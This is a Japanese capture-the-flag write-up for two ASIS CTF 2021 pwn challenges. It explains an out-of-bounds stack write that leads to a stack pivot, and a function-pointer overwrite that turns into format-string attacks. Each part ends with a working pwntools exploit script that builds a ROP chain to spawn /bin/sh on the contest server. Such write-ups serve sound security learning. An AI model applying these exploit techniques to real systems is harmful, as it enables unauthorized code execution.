ASIS CTF 2021 Writeup
seccamp後の活動として、参加したCTFのwriteupを書いていくことが決定したので早速書いていこうかと思います。 ASIS CTF 2021にチームTSGで参加をしました。自分は本番中にJust pwn itを解き、終わった後直ぐにABBRも解けたのでこの二つのexploitコードを共有しようと思います。
Just pwn it (pwn)
static linkedなバイナリです。
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
justpwnit()内で呼び出されたset_element()内で"Index: "
に0を入れて一周ループを回した際の状況を整理します。(2回目の"Index: "
には1を入れました。)
text
# set_element()
...
│ └─> 0x00401182 8b45ec mov eax, dword [var_14h]
│ 0x00401185 4898 cdqe
│ 0x00401187 488d14c50000. lea rdx, [rax*8]
│ 0x0040118f 488b45d8 mov rax, qword [var_28h]
│ 0x00401193 488d1c02 lea rbx, [rdx + rax]
│ 0x00401197 be80000000 mov esi, 0x80 ; rsi
│ 0x0040119c bf01000000 mov edi, 1
│ #;-- rip:
│ 0x004011a1 b e85a030000 call sym.calloc ; void *calloc(size_t nmeb, size_t size)
│ 0x004011a6 488903 mov qword [rbx], rax
...
register
rax = 0x7fff239bf440
rbx = 0x7fff239bf448
rcx = 0x0040c288
rdx = 0x00000008
r8 = 0x7fff239bf1df
r9 = 0x00000000
r10 = 0x00409000
r11 = 0x00000202
r12 = 0x7fff239bf4c8
r13 = 0x7fff239bf4d8
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00000080
rdi = 0x00000001
rsp = 0x7fff239bf400
rbp = 0x7fff239bf430
rip = 0x004011a1
rflags = 0x00000246
stack
#- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7fff239bf400 0000 0000 0000 0000 40f4 9b23 ff7f 0000 ........@..#....
0x7fff239bf410 0000 0000 0000 0000 3f3d 4000 0100 0000 ........?=@.....
0x7fff239bf420 0000 0000 0000 0000 3d12 4000 0000 0000 ........=.@.....
0x7fff239bf430 70f4 9b23 ff7f 0000 2f12 4000 0000 0000 p..#..../.@.....
# set_element()に飛んだ際のsaved rbp, saved RIPがここに格納されている
0x7fff239bf440 5050 f23a a77f 0000 0000 0000 0000 0000 PP.:............
# Indexで0を指定した結果callocの返り値はここに格納された
0x7fff239bf450 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7fff239bf460 0000 0000 0000 0000 0000 0000 0100 0000 ................
set_element()内でcallocによってバッファがとられていますがその返り値はrbxのアドレスの指す領域に格納されます。このrbxの値はqword[rbp-0x28]+qword[rbp-0x14]*8
の値が入れられており、rbp-0x28にはstackの領域のアドレスが、rbp-0x14にはset_element()内で"Index: "
として入力した数字が入っています。これは、justpwnit()内でローカル変数領域に作ったポインタを格納する配列を、callocで取ったバッファのアドレスを格納するための配列としてset_element()内で扱っているからこのようなバイナリになっているわけですが、indexとして入力する数字に何ら制限を加えていないので、配列外のstack領域に対してcallocの返り値を格納することができてしまいます。
callocの返り値を入れると嬉しい領域はズバリsaved rbpの格納されている領域です。"Index: "
に-2を指定することで実現されます。これによってset_element()からreturnする際にleave命令によってrbpがバッファのアドレスを指すようになるわけですが、その状態でさらにset_element()の呼び出し元ルーチンであるjustpwnit()内の有限ループを抜けてleave命令に到達したときにrbpの値はrspに代入されます。最終的にバッファの先頭アドレスがstackのtopに位置する状態になるので、予めバッファの中にROPのpayloadを組んでおけばROPが発火するというわけです。
exploitコード
static linkedなのでROP内ではexecveシステムコールによって/bin/shを起動することを目指します。これを実現するために、0x68732f6e69622fという値(asciiで見ると/bin/sh、リトルエンディアンに注意)をraxにpopし、rw可能領域のアドレスをrdiにpopし、qword[rdi], rax
ガジェットを実行することによってrdiに/bin/shの文字列を指すポインタが入っている状況を作り出す、という方法をとったために「rdiのポインタが指す文字列は/bin/sh\x00のように絶対pathでないといけない」というexecveシステムコールがうまくいくための条件に気が付きませんでした。それゆえにABBRに置いて悲しいことが起きるわけですが。
from pwn import * elf = ELF('./justpwnit') io = remote('168.119.108.148', 11010) #io = process('./justpwnit') pop_rdx_addr = 0x403d23 pop_rsi_addr = 0x4019a3 pop_rdi_addr = 0x401b0d pop_rax_addr = 0x401001 mov_qword_addr = 0x401ce7 syscall_addr = 0x4013e9 def exploit(payload): for i in range(3): io.recvuntil('Index: ') io.sendline('0') io.recvuntil('Data: ') io.sendline('a') io.recvuntil('Index: ') io.sendline('-2') io.recvuntil('Data: ') io.sendline(payload) payload1 = p64(0x0) payload1 += p64(pop_rdx_addr) payload1 += p64(0x0) payload1 += p64(pop_rsi_addr) payload1 += p64(0x0) payload1 += p64(pop_rdi_addr) payload1 += p64(0x40c030) payload1 += p64(pop_rax_addr) payload1 += p64(0x68732f6e69622f) # /bin/sh payload1 += p64(mov_qword_addr) payload1 += p64(pop_rax_addr) payload1 += p64(0x3b) payload1 += p64(syscall_addr) exploit(payload1) io.interactive()
ABBR (pwn)
static linkedなバイナリです。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
fgetsからは0x1000バイト分しか入力することができませんが、english_expand()にて省略として認識される文字列をrules.hの文字列に置き換えてmemcpyされるので、callocで取られた0x1000サイズのバッファを超えて書き込むことができます。またバッファの下には関数ポインタがありenglish_expand()のアドレスが入っていますが、ここを書き換えることで次のループの際に、main関数の中のアドレス0x402028にてrdxにその値が読みだされ0x402036にてcall rdxが実行された際にRIPを任意の場所へと持っていくことができます。
ここでいったんアドレス0x402036のcall rdxの際のstackとレジスタの値を整理しておきます。
text
# main()
...
│ │╎ 0x00402024 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x00402028 488b10 mov rdx, qword [rax]
│ │╎ 0x0040202b 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x0040202f 488b4008 mov rax, qword [rax + 8]
│ │╎ 0x00402033 4889c7 mov rdi, rax
│ │╎ #;-- rip:
│ │╎ 0x00402036 b ffd2 call rdx
...
register
rax = 0x00eb5b70 # バッファの先頭アドレス
rbx = 0x00400530
rcx = 0x00459e62
rdx = 0x00401da5 # 関数ポインタに格納されている値
r8 = 0x00eb5b70
r9 = 0x00000000
r10 = 0x0049e522
r11 = 0x00000246
r12 = 0x004030e0
r13 = 0x00000000
r14 = 0x004c9018
r15 = 0x00000000
rsi = 0x004c9943
rdi = 0x00eb5b70 # バッファの先頭アドレス
rsp = 0x7ffc74bb09c0
rbp = 0x7ffc74bb09d0
rip = 0x00402036
rflags = 0x00000212
stack
#- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffc74bb09c0 0000 0000 0000 0000 806b eb00 0000 0000 .........k......
# 0x7ffc74bb09c8 -> 関数ポインタの存在するアドレス
0x7ffc74bb09d0 4030 4000 0000 0000 7028 4000 0000 0000 @0@.....p(@.....
# 0x7ffc74bb09d8 -> main関数のreturn address
0x7ffc74bb09e0 0000 0000 0000 0000 0000 0000 0100 0000 ................
0x7ffc74bb09f0 080b bb74 fc7f 0000 781f 4000 0000 0000 ...t....x.@.....
# 0x7ffc74bb09f0 -> stack上を指すポインタ
0x7ffc74bb0a00 0000 0000 0000 0000 0000 0000 1700 0000 ................
0x7ffc74bb0a10 7100 0000 0000 0000 0000 0000 7000 0000 q...........p...
0x7ffc74bb0a20 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a30 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a40 0000 0000 0000 0000 0000 0000 0000 0000 ................
まず始めに考えたことは、適当なガジェットに飛ばすことでJust pwn itと同じようにRSPにバッファの先頭アドレスを格納することでしたが、よさげなガジェットを見つけることができなかったことや、RSPをバッファの先頭に飛ばしたところでnull文字をfgetsで入力できない以上バッファにROPを組み立てるのが難しそうなことから断念しました。ここで、個人的に詰まっていたんですが、カービーさんから「一応Format String Attack (FSA)ができるよ。」と教えてもらったのでそれで何とかすることにしました。
ここでFSAができる理由ですけれども、関数ポインタをprintf()のアドレスに書き換えると、printf()はrdiに格納されているアドレスを第一引数の書式指定文字列へのポインタとして認識するので、0x402036のcall rdxの際の状態を考えるとcallocで取られたバッファに格納されている文字列がそこに対応するようになるわけですね。よって今後はmain関数の毎回のループで1回FSAができるわけです。FSAでは%pを使ったstack上の値のリークと%c%nまたは%c%hnを使った値の書き込みができます。%nはstack上にある該当する値をアドレスとして参照し、バッファに出力したバイト数分をそこに書き込むわけです。つまり、この時点でWrite What Where (www)コンディションにあるわけです。
後は、FSAでstack上のアドレスと関数ポインタのアドレスをリークし、main()のリターンアドレスの格納されているところを起点としてFSAで地道にROPを組み立て、最後にFSAによって再度関数ポインタをmain()のleave命令のところへと書き換えるとROPが発火するということになります。static linkedでsystem関数等は存在しませんのでexecveシステムコールを呼ぶようにします。syscallの際にrdiには"/bin/sh\0"
の文字列が格納されているアドレスが入っている必要がありますが、幸いcall rdxの際にrdiはバッファのアドレスが入っているのでROP発火の直前のfgets()にて"/bin/sh\0
を入力すればよいです。execveシステムコールの場合は絶対pathを渡してあげる必要があって、/bin/shの文字列の最後にnull文字をつけるのはマストであることを知らなかったので時間に間に合いませんでした。(完ぺきな状態でsyscallを呼べているはずなのに動かなくてヘルプを求めたところ、モラさんが教えてくれました。)
exploitコード
ROPを組む際に%nで入力してるはずなのに8byteまるまる書き込まれなかったので、もともと値が入っている場所はpopのガジェットで全部取り除きました。後になって冷静に考えてみると、%hnが2byte書き込みなので%nは4byte書き込みなんですかね。後でチェックします。
FSAにおいて%7$pには関数ポインタのアドレスが、%12$pにはstack上のアドレス(%47$p)が、%47$pにはこれまたstackのアドレスが入っています。%hnを%12$pに対して行うことで%47$pにstackの任意のアドレスを格納し、次に%47$pに%nを行ってstackの任意のアドレスに対して任意の値を格納しています。
from pwn import * elf = ELF('./abbr') #io = process('./abbr') io = remote('168.119.108.148', 10010) ret_addr = 0x493d1a three_pop_addr = 0x48caba pop_rsi_two_pop_addr = 0x45d0a1 pop_rax_addr = 0x45a8f7 pop_rdx_addr = 0x4017df syscall_addr = 0x473156 def send_percent(payload): io.recvuntil('Enter text: ') io.sendline(payload) def change_heap_pointer(value): payload = '%' + str(value) + 'c%7$n' print(payload) return payload def make_payload_value(value): payload = '%' + str(value) + 'c%47$n' print(payload) return payload def make_payload_offset_hn(offset): payload = '%' + str(offset) + 'c%12$hn' print(payload) return payload def make_rop(offset, value): send_percent(make_payload_offset_hn(offset)) send_percent(make_payload_value(value)) # Change english_expand -> printf io.recvuntil('Enter text: ') io.send('www'*257) io.sendline(p64(0x410ee0)) # Get heap address send_percent('%7$p') heap_addr = io.recvline() print('heap_addr is ' + heap_addr) heap_addr = int(heap_addr, 16) # Get stack address send_percent('%12$p') base_addr = io.recvline() base_addr = hex(int(base_addr, 16) - 0x130) print('base_addr is ' + base_addr) # FSB offset base_offset = '0x' + base_addr[-4:] print('base_offset is ' + base_offset) base_offset = int(base_offset, 16) # Set ROP make_rop(base_offset, pop_rsi_two_pop_addr) base_offset += 32 make_rop(base_offset, ret_addr) base_offset += 8 make_rop(base_offset, three_pop_addr) base_offset += 32 make_rop(base_offset, pop_rax_addr) base_offset += 8 make_rop(base_offset, 59) base_offset += 8 make_rop(base_offset, pop_rdx_addr) base_offset += 16 make_rop(base_offset, syscall_addr) send_percent(change_heap_pointer(0x40205c)) io.recvuntil('Enter text: ') io.sendline('/bin/sh\0') io.interactive()
まとめ
先輩方がもっと難しいpwnの問題等を通していたおかげで、TSGは全体で25位でした。僕がABBRを通していれば2つほど順位が上だったので、惜しかったなという気持ちであります。 userlandのstackがらみのpwnの問題は取り掛かれるようになってきたので、次はuserlandのheapのbinsがらみのお話をきちんと勉強していきたいですね。